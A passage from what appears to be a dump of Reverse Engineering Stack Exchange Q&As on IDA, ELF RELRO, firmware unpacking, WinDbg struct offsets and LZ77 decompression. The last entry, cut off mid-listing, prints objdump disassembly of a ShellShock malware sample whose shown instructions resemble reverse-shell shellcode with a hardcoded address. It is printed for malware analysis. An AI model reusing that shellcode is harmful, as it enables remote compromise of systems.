I would like the above example to look something more like this:

\n\n
var_20= qword ptr -20h\n...\nmov [rbp+5Fh+var_20], rcx\n
\n\n

However, as one would expect, if I change the type of 3Fh to be a stack offset, I get the following:

\n\n
arg_37= qword ptr 3Fh\n...\nmov [rbp+arg_37], rcx\n
\n\n

Which is obviously not correct. I have two questions:

\n\n\n\n

Solutions I am aware of:

\n\n\n\n

Also relevant: I'm using IDA Pro 6.2.

\n", "Title": "Is it possible to force IDA to acknowledge unusual frame pointer deltas?", "Tags": "|ida|", "Answer": "

Alt+P will bring up the Edit function screen.

\n\n

Make sure BP based frame is checked, and enter your value 0x5F into the box marked Frame pointer delta.

\n" }, { "Id": "6525", "CreationDate": "2014-10-23T09:29:57.687", "Body": "

When linking a binary with -Wl,-z,relro,-z,now, all relocations are performed at start-up before passing control to the binary.

\n\n

Because of this, there is no need for the .got.plt segment. Normally, a pointer to the linker's link_map structure is stored in this segment.

\n\n

When compiled with full RELRO, where, if anywhere, can a copy of the link_map be obtained without consulting other loaded libraries, or libdl?

\n\n

The place one would expect it to be -- in the segment marked with the tag DT_PLTGOT -- it does not appear. Instead, there's just a link back to Program Header of type PT_DYNAMIC. The slot in the segment marked DT_GOTPLT starts with the offset of the DYNAMIC section, and does not contain any pointers to the link map.

\n\n

Headers

\n\n
$ readelf -a amd64-pwntest-relro | egrep -i '(_dynamic|pltgot)'\n 0x0000000000000003 (PLTGOT)             0x202eb8\n    48: 0000000000202ca8     0 OBJECT  LOCAL  DEFAULT   21 _DYNAMIC\n
\n\n

Binary is RELRO

\n\n
$ checksec.sh --file amd64-relro\nRELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE\nFull RELRO      No canary found   NX disabled   PIE enabled     No RPATH   No RUNPATH   amd64-relro\n
\n\n

GDB shows that the data at the specified offset, at runtime, does not contain a link map pointer.

\n\n
$ gdb ./amd64-relro\ngdb-peda$ start\ngdb-peda$ vmmap relro\nStart              End                Perm      Name\n0x0000555555554000 0x0000555555556000 r-xp      /home/user/pwntools-regression/src/amd64-relro\n0x0000555555756000 0x0000555555757000 r-xp      /home/user/pwntools-regression/src/amd64-relro\n0x0000555555757000 0x0000555555758000 rwxp      /home/user/pwntools-regression/src/amd64-relro\ngdb-peda$ telescope 0x0000555555554000+0x202eb8 5\n00:0000|  0x555555756eb8 --> 0x202ca8 \n01:0008|  0x555555756ec0 --> 0x0 \n02:0016|  0x555555756ec8 --> 0x0 \n03:0024|  0x555555756ed0 --> 0x7ffff7675870 (<__GI___libc_free>:        mov    rax,QWORD PTR [rip+0x33b671]        # 0x7ffff79b0ee8)\n04:0032|  0x555555756ed8 --> 0x7ffff79c0430 (<__pthread_create_2_1>:    push   rbp)\n
\n", "Title": "ELF link_map when linked as RELRO", "Tags": "|linux|elf|got|plt|", "Answer": "

If the binary has a DT_DEBUG entry in the PT_DYNAMIC area, it will be filled with a pointer to the r_debug symbol in the dynamic linker.

\n\n
test:00007F17ED7DDDB0 Elf64_Dyn <DT_SYMENT, 18h>\ntest:00007F17ED7DDDB0 Elf64_Dyn <DT_DEBUG, offset _r_debug>\ntest:00007F17ED7DDDB0 Elf64_Dyn <DT_PLTGOT, offset _GLOBAL_OFFSET_TABLE_>\n
\n\n

The second field in r_debug is the pointer to link_map:

\n\n
debug001:00007F17ED5DC1A0 _r_debug dd 1                                    ; r_version\ndebug001:00007F17ED5DC1A0 db 0, 0, 0, 0\ndebug001:00007F17ED5DC1A0 dq offset _link_map_head                ; r_map\ndebug001:00007F17ED5DC1A0 dq offset _dl_debug_state               ; r_brk\ndebug001:00007F17ED5DC1A0 dd RT_ADD                               ; r_state\ndebug001:00007F17ED5DC1A0 db 0, 0, 0, 0\ndebug001:00007F17ED5DC1A0 dq 7F17ED3B8000h                        ; r_ldbase\n
\n" }, { "Id": "6535", "CreationDate": "2014-10-25T04:12:41.133", "Body": "

Hopefully I can find someone who can help me with this.

\n\n

I have become fascinated with electronic cigarettes and one of the more popular regulated chips for sale tout's its ability to change logos.

\n\n

The chip is the YiHi E-Cigcar.\nThe firmware for the chip can be found http://www.yihiecigar.com/download_info/Upgrade-Software-for-SX350-50w-ONLY_OldBoot_YH_Logo_60W_20140813-Screen-flip_V2-4-d59228.html

\n\n

I've downloaded a YouTube publisher's software the \"changes\" the logo, however, after decompiling his .NET application, I'm not convinced this wouldn't brick my chip.\nhttps://www.youtube.com/watch?v=kTy0AKTYzrg

\n\n

I've written an application that reads the entire string in as hex, and converts to binary (assuming the firmware was unencrypted, and I could find an index of part of the image I'm looking for), but no luck.

\n\n

I'm not convinced that this firmware isn't packed in some way, but I haven't the slightest idea on how to go about finding it.

\n\n

If anyone could give some advice or has any idea on how to unpack / search for the logo's another way this would be fantastic.

\n\n

Not that this is a need, it keeps me up at night because, I'm just one of those people who can't leave a problem unsolved... probably like a lot of you reading this.

\n\n

Anyone who's up for the challenge it would be much appreciated.

\n", "Title": "Monochrome image replacement within firmware", "Tags": "|firmware|", "Answer": "

Compile this program (rename your file to out1.SXI, or change the file name in the program):

\n\n
#include <stdio.h>\n\nint main(int argc, char **argv) {\n    char buf[256];\n    int i, j;\n    FILE *fp;\n    int pos=0;              // file position\n    int bpr=0;              // bits / bytes per row\n    int blockno=0;          // 6 blocks * 8 bits = 48 rows\n    if (argc>=2)\n            bpr=atoi(argv[1]);\n    if (bpr==0)\n            bpr=64;\n    if (argc>=3) {\n            pos=strtol(argv[2], NULL, 0);\n    }\n\n    if ((fp=fopen(\"out1.SXI\", \"rb\"))==NULL) {\n            perror(\"out1.SXI\");\n            exit(1);\n    }\n    fseek(fp, pos, 0);\n    while(fread(buf, bpr, 1, fp)) {\n            if (blockno++%6==0)\n                    printf(\"%06x\\n\", pos);\n            for (j=128; j>0; j>>=1) {\n                    for (i=0; i<bpr; i++) {\n                            if (buf[i]&j)\n                                    putchar('X');\n                            else\n                                    putchar(' ');\n                    }\n                    putchar('|');\n                    putchar('\\n');\n            }\n            pos+=bpr;\n    }\n}\n
\n\n

then run it as

\n\n
$ xdump 64 0x83D4 | less\n$ xdump 64 0x10FC8 | less \n
\n\n

I'm pretty sure these are images, though i can't make sense of them; but maybe you can if you compare them to what the device shows if you flash the firmware.

\n\n

Also, this assumes the display has a 64x48 pixel resolution like the one in the movie; you might want to take a picture through a magnifying glass to check they haven't changed the resolution. Although 64x48 is what my program assumes as well when it generates these images.

\n\n

Of course, the file you get when you unpack the .rar seems to be much larger than the file in the movie, if the offsets shown are byte offsets. Possibly, the firmware consists of two part, one factory part (which is the firmware you can download) and a OEM/vendor part that has the images (which you can't download, but which is used in the movie), with the firmware upgrader deciding which one to overwrite depending on the file format/contents.

\n" }, { "Id": "6540", "CreationDate": "2014-10-29T12:43:23.033", "Body": "

When trying to write an instruction set analysis tool for disassembled code (https://superuser.com/a/832440/384221) I have found opcode MOVABS which was not included in my opcode source database (Shirk's gas.vim file) and I am not sure in which architecture it has been introduced.

\n\n

According to What is the meaning of movabs in gas/x86 AT&T syntax? and other sources it seems that the instruction has been introduced before 64-bit architectures. But was it with i686 or earlier?

\n\n

Thank you.

\n", "Title": "When was the MOVABS instruction introduced?", "Tags": "|x86|amd64|gas|", "Answer": "

As Igor mentioned, it's GAS specific.

\n\n
git log --reverse -Smovabs\n
\n\n

tells us that it was introduced in 2000 commit c0d8940 and:

\n\n
git tag --contains c0d8940\n
\n\n

says that it was present as early as binutils-2_11.

\n" }, { "Id": "6550", "CreationDate": "2014-10-31T07:03:42.043", "Body": "

I am familiar with debuggers and sorts. I was going through a program and noticed that IDA does make some mistakes on what it decides what on its pseudo code will be.

\n

Is there a list of common mistakes by IDA and do you think that it would be possible to get something to a compilable source?

\n

I thought I would test it out on some programs and one thing weird I noticed is that it will do:

\n
v1 = thiscall();\n
\n

Where as in source I just have the thiscall();.

\n

I also noticed that it bloats a lot of things which is from the assembly itself.

\n

So my questions are:

\n\n

Its looking like I might be able to providing if I knew the libraries and outline of the program well. Let me know what your thoughts and experiences from using IDA on this subject.

\n

Edit:\nI found a project that actually did this. All functions are byte for byte in 100% accuracy. So yes my past self, it is indeed possible.\nhttps://github.com/diasurgical/devilution

\n", "Title": "Is it possible to get back to a compilable form of source code using IDA pro", "Tags": "|ida|disassembly|c++|", "Answer": "

You can't get anything back that compiles, or even assembles, without massive manual intervention, and, given the ambiguities in object code, it's very unlikely this situation will ever change.

\n\n

See Why there are not any disassemblers that can generate re-assemblable asm code? for a more detailed answer.

\n" }, { "Id": "6559", "CreationDate": "2014-11-02T09:57:49.667", "Body": "

In OllyDbg 110 there is a point: \"Message breakpoint on ClassProc\".\n\"OllyDbg

\n\n

At OllyDbg 2.01 I can not find it:

\n\n

\"OllyDbg

\n", "Title": "How to set Message Breakpoints on button in ollyDbg 2.01?", "Tags": "|ollydbg|", "Answer": "
use conditional log breakpoint and set multiple conditions\n
\n\n

\"enter

\n" }, { "Id": "6565", "CreationDate": "2014-11-03T00:39:29.783", "Body": "

In an assembly line, I have a call to gethostbyname(...). I have read that the return value of that function can be a pointer to a hostent structure\n(of course, it could be also a null pointer but for my question I need the pointer to the hostent structure)

\n

I also take a look to the hostent structure which is the following:

\n
   typedef struct hostent{\n    char FAR *h_name;\n    char FAR FAR **h_aliases;\n    short h_addrtype;\n    short h_length;\n    char FAR FAR **h_addr_list;\n   } HOSTENT, *PHOSTENT, FAR *LPHOSTENT;\n\n \n
\n

So, some lines later the following appears:

\n
  mov edx, [eax+0Ch]\n
\n

I know that the return value of a function is stored in eax. So, when eax points to hostent structure, then edx must point to one of the hostent structure members, because the offset is 0Ch.

\n

To determine which of the member it is, i know that I must count the sizes of the members. And here comes my question:

\n
\n

When I count until I reach the offset 0Ch, which of these types I must take? I mean, when you look at the first member, for example:

\n
char FAR *h_name; \n
\n

Is the size of char relevant or the size of FAR ? Or both ?

\n
\n

I hope someone can explain me that.

\n", "Title": "Locate member of a structure", "Tags": "|assembly|struct|offset|pointer|", "Answer": "

A sample walkthrough containing few lines of code compiled in msvc++exp and windbagged in 32 bit machine

\n\n
int _tmain(int argc, _TCHAR* argv[]) {\n    WSADATA wsaData;    \n    in_addr addr;\n    hostent *myhost;\n        if ((WSAStartup(MAKEWORD(2, 2), &wsaData)) == 0)\n        if ( ( myhost = gethostbyname(\"www.google.com\") ) != NULL) {\n            printf(\"host name = %s\\n\",myhost->h_name);\n            if (myhost->h_addrtype == AF_INET) {\n                addr.s_addr = *(u_long *) myhost->h_addr_list[0];\n                printf(\"IPv4 Addr = %s\\n\",inet_ntoa(addr));\n            }\n        }    \n        return 0;\n}\n
\n\n

run the compiled exe in windbg with a conditional break point as below\nexplanation being

\n\n
break when ws2_32!gethostbyname is called\ngu is to go up back to caller (eax will hold * to hostent structure)\ndisplay the structure pointed by eax with a c++ expression evaluator  ?? and quit\n
\n\n

.

\n\n
:\\>cdb -c \"bp ws2_32!gethostbyname \\\"gu ; r eax; ?? (hostent *) @eax;q\\\";g\" ghostbyname.exe    \n0:000> cdb: Reading initial command 'bp ws2_32!gethostbyname \"gu ; r eax; ?? (ho\nstent *) @eax;q\";g'\neax=0016c3b8\nstruct hostent * 0x0016c3b8\n   +0x000 h_name           : 0x0016c3f8  \"www.google.com\"\n   +0x004 h_aliases        : 0x0016c3c8  -> (null)\n   +0x008 h_addrtype       : 0n2\n   +0x00a h_length         : 0n4\n   +0x00c h_addr_list      : 0x0016c3cc  -> 0x0016c3e4  \"J}???\"\nquit:\n\n:\\>\n
\n\n

windbg can also be used to ascertain size of individual members

\n\n
0:000> ?? sizeof(((hostent *) @eax)->h_name)\nunsigned int 4\n0:000> ?? sizeof(((hostent *) @eax)->h_aliases)\nunsigned int 4\n0:000> ?? sizeof(((hostent *) @eax)->h_addrtype)\nunsigned int 2\n0:000> ?? sizeof(((hostent *) @eax)->h_length)\nunsigned int 2\n0:000> ?? sizeof(((hostent *) @eax)->h_addr_list)\nunsigned int 4\n0:000> ?? sizeof(hostent)\nunsigned int 0x10\n
\n\n

with sizes gleaned thus dumping it in raw format becomes easy to script in an unknown binary

\n\n
r $t0 = ${$arg1}\n.printf /D \"<b>eax          \\t%p </b>\\n\",@$t0\n.printf /D \"<b>hostent *    \\t%p </b>\\n\",poi(@$t0)\n.printf /D \"<b>->h_name     \\t%ma</b>\\n\",poi(@$t0)\n.printf /D \"<b>->h_alias    \\t%p </b>\\n\",poi(poi(@$t0+0x4))\n.printf /D \"<b>->h_addrtype \\t%p </b>\\n\",low(poi(@$t0+0x8))\n.printf /D \"<b>->h_length   \\t%p </b>\\n\",hi(poi(@$t0+0x8))\n.printf /D \"<b>->h_addrlist \\t%p </b>\\n\",poi(poi(@$t0+0xc))\n.printf /D \"<b>->h_addrlist contains ip address in network byte order</b>\\n\"\ndb poi(poi(@$t0+0xc)) l10\n.printf /D \"<b>Ipv4 Address of google.com %d.%d.%d.%d\\n\" , \n\nby(poi(poi(@$t0+0xc))),by(poi(poi(@$t0+0xc))+1),by(poi(poi(@$t0+0xc))+2),by(poi(poi(@$t0+0xc))+3)\n
\n\n

result dumped in raw format without symbol support in an unknown binary

\n\n
0:000> $$>a< ghostbyname.txt @eax\n\neax             0016c3b8 \nhostent *       0016c3f8 \n->h_name        www.google.com\n->h_alias       00000000 \n->h_addrtype    00000002 \n->h_length      00000004 \n->h_addrlist    0016c3e4 \n->h_addrlist contains ip address in network byte order\n0016c3e4  4a 7d ec d0 4a 7d ec d4-4a 7d ec d3 4a 7d ec d1  J}..J}..J}..J}..\nIpv4 Address of google.com 74.125.236.208\n
\n" }, { "Id": "6569", "CreationDate": "2014-11-03T09:40:20.567", "Body": "

I'm trying to extract GoPro hero 3+ camera firmware but I'm getting a weird output from binwalk.

\n\n

This is the binwalk output (Uploaded to pastebin):

\n\n

http://pastebin.com/raw.php?i=yVZFGZT6

\n\n

As you can see there are a lot of lines including mcrypt, RSA and other lines but the firmware is not encrypted. Also checking the hexadecimal of the file I can see the following:

\n\n
000006f0  55 55 55 55 66 66 66 66  77 77 77 77 88 88 88 88  |UUUUffffwwww....|\n
\n\n

As far as I know this is related to UBoot. And this other two lines showing some squashfs headers:

\n\n
0151d040  45 3d cd 28 88 4f 39 80  68 73 71 73 bc 4f 39 80  |E=.(.O9.hsqs.O9.|\n02557250  8a f3 0d 00 68 73 71 73  90 f3 0d 00 72 65 65 62  |....hsqs....reeb|\n
\n\n

Also, I can see some other lines related to CPIO but I can't figure out how to separate this file into extractable pieces.

\n\n

The firmware image can be downloaded here: http://software.gopro.com/Firmware/HD2/HD2-firmware.bin

\n", "Title": "Weird binwalk output on GoPro Firmware", "Tags": "|firmware|embedded|hexadecimal|", "Answer": "

Strings suggests this is using the UbiFS file system:

\n\n
$ strings HD2-firmware.bin | grep -i ubifs\nconsole=tty0  lpj=2334720 ubi.mtd=lnx root=ubi0:linux rootfstype=ubifs\nLNX_VIF=\"../../../src/linuxinfo/ubifs.info\"\nCONFIG_BOSS_SECONDARY_CMDLINE=\"console=tty0  lpj=2334720 ubi.mtd=lnx root=ubi0:linux rootfstype=ubifs\"\nconsole=tty0  lpj=2334720 ubi.mtd=lnx root=ubi0:linux rootfstype=ubifs\n
\n\n

There are only two places where I see the UbiFS super magic bytes (0x24051905, see http://www.cs.fsu.edu/~baker/devices/lxr/http/source/linux/fs/ubifs/ubifs.h):

\n\n
$ binwalk -m ubifs.sig HD2-firmware.bin \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n23734456      0x16A28B8       UbiFS, little endian\n23741868      0x16A45AC       UbiFS, little endian\n
\n\n

For reference, the contents of ubifs.sig are:

\n\n
0   lelong  0x24051905      UbiFS, little endian\n0   belong  0x24051905      UbiFS, big endian\n
\n\n

EDIT:

\n\n

The above seems to be a false positive. After creating a UbiFS image of my own, here's what it looks like in hex:

\n\n
00000000  31 18 10 06 dc 6a 3b 2d  4e 00 00 00 00 00 00 00  |1....j;-N.......|\n00000010  00 10 00 00 06 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000020  00 02 00 00 00 00 02 00  0d 00 00 00 64 00 00 00  |............d...|\n00000030  00 00 16 00 00 00 00 00  04 00 00 00 02 00 00 00  |................|\n00000040  01 00 00 00 01 00 00 00  08 00 00 00 00 01 00 00  |................|\n00000050  04 00 00 00 01 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000060  00 00 00 00 00 00 00 00  00 ca 9a 3b fb 7e 13 36  |...........;.~.6|\n00000070  91 29 47 3b 8b dd 46 95  27 cc 8a 30 00 00 00 00  |.)G;..F.'..0....|\n00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00001000  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|\n*\n00020000  31 18 10 06 4a 3d 6b 5a  4f 00 00 00 00 00 00 00  |1...J=kZO.......|\n00020010  00 02 00 00 07 00 00 00  45 00 00 00 00 00 00 00  |........E.......|\n00020020  00 00 00 00 00 00 00 00  02 00 00 00 03 00 00 00  |................|\n00020030  0c 00 00 00 d8 05 00 00  bc 00 00 00 0b 00 00 00  |................|\n00020040  0c 00 00 00 00 08 00 00  98 06 00 00 00 00 00 00  |................|\n00020050  00 26 05 00 00 00 00 00  38 03 00 00 00 00 00 00  |.&......8.......|\n00020060  30 d0 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |0...............|\n00020070  00 24 00 00 00 00 00 00  07 00 00 00 2a 00 00 00  |.$..........*...|\n00020080  07 00 00 00 00 02 00 00  07 00 00 00 36 00 00 00  |............6...|\n00020090  00 00 00 00 00 00 00 00  0a 00 00 00 01 00 00 00  |................|\n000200a0  01 00 00 00 0d 00 00 00  00 00 00 00 00 00 00 00  |................|\n000200b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00020200  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|\n
\n\n

Note the little endian magic number at the beginning of each node: 0x06101831.

\n\n

This pattern appears in the GoPro firmware, and it looks like the UbiFS image may start at 0x22C6100; however, I was unable to mount either my UbiFS image (created with mkfs.ubifs) or the image from the GoPro firmware, so I cannot verify that this is true.

\n" }, { "Id": "6570", "CreationDate": "2014-11-03T01:04:23.953", "Body": "

I'm not experienced with GDB, and trying to examine an executable. I want to find the value of %eax at certain times, and whether it's ever called or jumped.

\n\n

I was only given the executable, and it doesn't have any breakpoints.

\n\n

If I enter run, the program runs and then finishes, and no commands work\u2014I get \"No symbol table is loaded\" and \"No registers.\"

\n\n

Dissembling the executable (objdump -d) doesn't help, the result is 130,000 lines long.

\n\n

How can I do this analysis?

\n\n

Update: I used PEDA successfully; I set breakpoints at the functions and stepped through the program using next.

\n", "Title": "Using GDB to look at stack", "Tags": "|exploit|assembly|", "Answer": "

First, you really need to set a breakpoint somewhere if you want gdb to stop before the program end.

\n\n

Then, you should really try to use peda, a set of configuration and Python scripts for gdb designed for reverse-engineering software.

\n\n

Take a look at:

\n\n\n\n

\"enter

\n" }, { "Id": "6576", "CreationDate": "2014-11-03T18:55:05.433", "Body": "

I've reversed a decompression routine, but have to figure out the compression.

\n\n

Because the executable only decrypts and therefor has no compression routine and I'm not comfortable with compressions it's really hard for me.

\n\n

Here the code I've written in C#:

\n\n
private unsafe void Decompress(byte[] decom, byte[] com, int comSize) {\n        byte[] dict = new byte[4096];\n        fixed (byte* pDict = dict, p1 = decom, p2 = com) {\n            byte* pDecom = p1, pCom = p2;\n\n            byte next;\n            int r6 = 0, r7 = 0xfee, r10, r9;\n\n            while (true) {\n                r6 >>= 1;\n\n                if ((r6 & 0x100) == 0) {\n                    if (comSize-- == 0)\n                        return;\n\n                    r6 = 0xFF00 | *(pCom++);\n                }\n\n                if ((r6 & 1) == 1) {\n                    if (comSize-- == 0)\n                        return;\n\n                    next = *(pCom++);\n                    *(pDecom++) = next;\n                    *(pDict + r7) = next;\n                    r7 = (r7 + 1) & 0xFFF;\n                } else {\n                    if ((comSize -= 2) <= 0)\n                        return;\n\n                    r10 = (*(pCom++) << 8) | *(pCom++);\n\n                    r9 = r10 >> 4;\n                    r10 = (r10 & 0xF) + 2;\n\n                    for (int i = r10 + 1; i > 0; --i) {\n                        r10 = r9++ & 0xFFF;\n                        next = *(pDict + r10);\n                        *(pDecom++) = next;\n                        *(pDict + r7) = next;\n                        r7 = (r7 + 1) & 0xfff;\n                    }\n                }\n            }\n        }\n    }\n
\n\n

It would be nice if someone could identify or post a link to code for the compression.\nAny help is appreciated.

\n", "Title": "Unknown compression (Decompression reversed)", "Tags": "|decompress|", "Answer": "

Based on this post, that appears to be an LZ77 variant.

\n" }, { "Id": "6585", "CreationDate": "2014-11-04T17:43:36.807", "Body": "

I am a student of informatics with additional games engineering.\nI currently have a project about Reverse Code Engineering. Mainly my task is to gather information about the topic \"Detecting weaknesses/vulnerabilities with RCE\" and write something about it.\nGathering the information, was the easy part, as with a little bit of google scholar search and references in papers I came up with a broad palette of papers. \"Program Slicing\", \"Taint Analysis\", \"Fuzzing\", \"Symbolic execution\" ...

\n\n

Now in addition to collecting the information and writing a paper, I have to make a little implementation. What exactly my implementation does, I have to decide on my own. It can be anything, as long as it has to do with detecting weaknesses and vulnerabilities with reverse code engineering.\nNow my problem:\nI never actually did any reverse code engineering. I have no idea what \"implementation\" I could make (with my little(no) practical knowledge of RCE).\nWith my instructor I talked about detecting vulnerabilities in games as my studies have to do with games engineering and games are an interesting topic for me.\nHowever when searching for scientific papers about detecting vulnerabilities in games I couldn't find anything. Most of the search results in scholar had to do with legal affairs and the rest had to do with anything in RCE, but games.\nAlso with normal google searching I couldn't find anything useful (papers/tutorials), but only news or descriptions of RCE in general and so on.\nI tried several combinations of different words like \"game(s)\", \"vulnerabilities\", \"weaknesses\",\"reverse code engineering\".

\n\n

Now I don't know if I just have the wrong way of searching, in this case, or if the stuff I search, really is hard (impossible?) to find.

\n\n

That's why i came here to ask you, if you know any good sources. Tutorials and/or scientific papers about detecting vulnerabilities in games?

\n\n

Maybe there is no information about that on the internet.\nMaybe (I don't know this) it could even be, that the task of detecting vulnerabilities in games is too demanding for someone with almost no knowledge in RCE and that I shouldn't even try to do this.\nThen I would have to program something else (easier).\nBut then again, I wouldn't know what to do. A program slicing algorithm? I have no idea of the difficulty level of certain implementations.\nTherefore if you can give me any hints on what else (beside games) would be apropriate implementing, I would be grateful to hear. Additionally links to good tutorials about implementing the alternative would be nice.

\n\n

I work on windows (99% of the time) and I am able to use Java, C++, C, C#, Python and Haskell.

\n\n

I really appreciate any help you can provide.

\n", "Title": "Detecting weaknesses/vulnerabilities (in games). Scientific papers/Tutorials?", "Tags": "|windows|c|python|java|vulnerability-analysis|", "Answer": "

This is a good (maybe starting to show its age) book Exploiting Online Games: Cheating Massively Distributed Systems.

\n\n

It has a general intro on game hacking, sections on reversing and exploiting. You'll find all you need there. You don't seem to be required to do binary reversing for your project. It sounds like any project on figuring out how a client or server works will do - even if they are in Lua :)

\n" }, { "Id": "6589", "CreationDate": "2014-11-05T00:43:45.197", "Body": "

I am aware that when decompiling a jar file, it is normal for the resulting .java files to contain syntax errors, but I am unsure of why and worse off I am sometimes unsure of how to fix these syntax errors. Take int[] arrayOfInt = new int['\u00c2\u20ac'];, for example. Eclipse complains that '\u00c2\u20ac' does not belong. Surprise! I know this already, but why does this happen. How can I find out what this value should be?

\n", "Title": "Syntax errors when decompiling with JD-GUI", "Tags": "|java|", "Answer": "

Try taking a look at Bytecode Viewer - https://github.com/Konloch/bytecode-viewer

\n\n

It allows you to select from 3 different Java decompilers. It can also display the Bytecode and Hexcode of the Class file you select. (And more, check it out)

\n" }, { "Id": "6591", "CreationDate": "2014-11-05T13:03:19.610", "Body": "

I'm working on reversing the SJ4000 camera firmware but I found a problem unpacking it.

\n\n

This is the header I found on the image:

\n\n
00000000  42 43 4c 31 81 66 00 09  00 54 68 e0 00 2f 2b bf  |BCL1.f...Th../+.|\n
\n\n

As you can see BCL1 is the header for 'Basic Compression Library' ( http://bcl.comli.eu/home-en.html ) using LZ77 algorithm but I can't decompress the image with it.

\n\n

I built some files using BCL, compared to the firmware header and found this:

\n\n
00000000  42 43 4c 31 81 66 00 09  00 54 68 e0 00 2f 2b bf  |BCL1.f...Th../+.| < FIRMWARE\n00000000  42 43 4c 31 00 00 00 09  00 00 4f 88 99 7f 45 4c  |BCL1......O...EL| < LZ\n00000000  42 43 4c 31 00 00 00 02  00 00 4f 88 20 03 06 90  |BCL1......O. ...| < HUFFMAN\n00000000  42 43 4c 31 00 00 00 01  00 00 4f 88 99 7f 45 4c  |BCL1......O...EL| < RLE\n00000000  42 43 4c 31 00 00 00 0a  00 00 4f 88 56 01 64 9f  |BCL1......O.V.d.| < SF\n00000000  42 43 4c 31 00 00 00 03  00 00 4f 88 00 7f 45 4c  |BCL1......O...EL| < RICE8\n00000000  42 43 4c 31 00 00 00 04  00 00 4f 88 00 45 7f 46  |BCL1......O..E.F| < RICE16\n00000000  42 43 4c 31 00 00 00 05  00 00 4f 88 00 46 4c 45  |BCL1......O..FLE| < RICE32\n
\n\n

According to this the compression algorithm is LZ77 and it follows the same structure except for 2 bytes.

\n\n
42 43 4c 31 < Magic Number\n81 66 00 09 < unknown 2 bytes + 2 standard bytes \n00 54 68 e0 < Original Size\n00 2f 2b bf < Compressed Size\n
\n\n

Any idea what these 2 bytes mean?

\n\n

EDIT: I tried to edit that 2 bytes and override them with 00 00 so the header matches the standard. After that tried to uncompress it with BCL LZ77 and it prompts a segmentation fault:

\n\n
LZ77 decompress FW96655A_ZERO.bin to test...\nInput file: 3091395 bytes\nOutput file: 5531872 bytes\nSegmentation fault\n
\n\n

Checking the lenght bytes I got the following result:

\n\n
0x005468E0 > Big Endian Long: 5531872\n0x002F2BBF > Big Endian Long: 3091391\n
\n\n

As you can see for the compressed data length there is a difference of 4 bytes that might be causing the Seg. fault.

\n", "Title": "Non standard LZ77 compression header", "Tags": "|firmware|unpacking|decompress|magic-number|", "Answer": "

I don't know for sure but can think of two possibilities.

\n\n
    \n

  1. One is that it's simply a coding error and only the low half of the 32-bit register was initialized when the file was created. If that's the case, then simply zeroing those two bytes should result in a successful decompression using the standard tool.

    2. \n

  2. The other is that it's a (proprietary) modification to the normal LZ77 decompression, in which case, it's likely to be a minor enhancement rather than a completely new scheme.

    3. \n
\n\n

All of the samples of that camera's firmware that I was easily able to locate on the internet use the standard 00 00 00 09 tag, which may indicate that the first possibility is the more likely.

\n\n

After checking with the binary you mentioned, it became clear that there was simply an error in the bfc.c file. Specifically, around line 192 of bfc.c it says:

\n\n
if( command == 'd' )\n{\n    /* Read header */\n    algo = ReadWord32( f );  /* Dummy */\n    algo = ReadWord32( f );\n    outsize = ReadWord32( f );\n    insize -= 12;\n}\n
\n\n

However, this is incorrect because it fails to read the infile size as written in the header. To quickly fix this, just change those lines to these and recompile:

\n\n
if( command == 'd' )\n{\n    /* Read header */\n    algo = ReadWord32( f );  /* Dummy */\n    algo = ReadWord32( f );\n    outsize = ReadWord32( f );\n    ReadWord32( f );\n    insize -= 16;\n}\n
\n\n

When I do that, there is no problem decompressing the code. To make the corresponding change to the output file (that is, compressing), change the code around line 364 of bfc.c from this:

\n\n
/* Write output file */\nWriteWord32( outsize, f );\nfwrite( out, outsize, 1, f );\nfclose( f );\n
\n\n

to this:

\n\n
/* Write output file */\nfwrite( out, outsize, 1, f );\nfclose( f );\n
\n\n

I should probably mention the likely reason this change was done. In the original program, the file size can be used to determine the size, but in an undifferentiated array of bytes (i.e. no file system) as is often the case in ROM, it is useful to encode both input and output files sizes within the header.

\n" }, { "Id": "6598", "CreationDate": "2014-11-06T07:28:53.483", "Body": "

I'm trying to dump assembly code of a ShellShock malware explained in this blog post:

\n\n\n\n

After dumping using objdump -d, the output shows just the following:

\n\n
fu4k:     file format elf32-i386\n
\n\n

Then, I tried the command objdump -b elf32-i386 -d fu4k, but it gave the same output.

\n\n

Please point me in the right direction. Malware is located here\u00a0(login required, password:infected).

\n", "Title": "Unable to dump malware assembly using objdump", "Tags": "|malware|objdump|", "Answer": "

-d only disassembles what objdump considers to be code sections. You can use -D to force disassembly of all sections. However, it still doesn't work for this file because it doesn't have a section table:

\n\n
fu4k:     file format elf32-i386\nfu4k\narchitecture: i386, flags 0x00000102:\nEXEC_P, D_PAGED\nstart address 0x08048054\n\nProgram Header:\n    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12\n         filesz 0x00000098 memsz 0x000000dc flags rwx\n\nSections:\nIdx Name          Size      VMA       LMA       File off  Algn\nSYMBOL TABLE:\nno symbols\n
\n\n

So, in this case you can ask objdump to treat the file as binary and disassemble everything:

\n\n
objdump -b binary -D -m i386 fu4k\n
\n\n

To improve disassembly, you can use the information from the program headers (load address and entrypoint address):

\n\n
>objdump -b binary -D -m i386 fu4k --adjust-vma=0x08048000 --start-address=0x08048054\n\nfu4k:     file format binary\n\n\nDisassembly of section .data:\n\n08048054 <.data+0x54>:\n 8048054:       31 db                   xor    %ebx,%ebx\n 8048056:       f7 e3                   mul    %ebx\n 8048058:       53                      push   %ebx\n 8048059:       43                      inc    %ebx\n 804805a:       53                      push   %ebx\n 804805b:       6a 02                   push   $0x2\n 804805d:       89 e1                   mov    %esp,%ecx\n 804805f:       b0 66                   mov    $0x66,%al\n 8048061:       cd 80                   int    $0x80\n 8048063:       93                      xchg   %eax,%ebx\n 8048064:       59                      pop    %ecx\n 8048065:       b0 3f                   mov    $0x3f,%al\n 8048067:       cd 80                   int    $0x80\n 8048069:       49                      dec    %ecx\n 804806a:       79 f9                   jns    0x8048065\n 804806c:       68 1b 13 9f e0          push   $0xe09f131b\n 8048071:       68 02 00 11 c1          push   $0xc1110002\n 8048076:       89 e1                   mov    %esp,%ecx\n 8048078:       b0 66                   mov    $0x66,%al\n 804807a:       50                 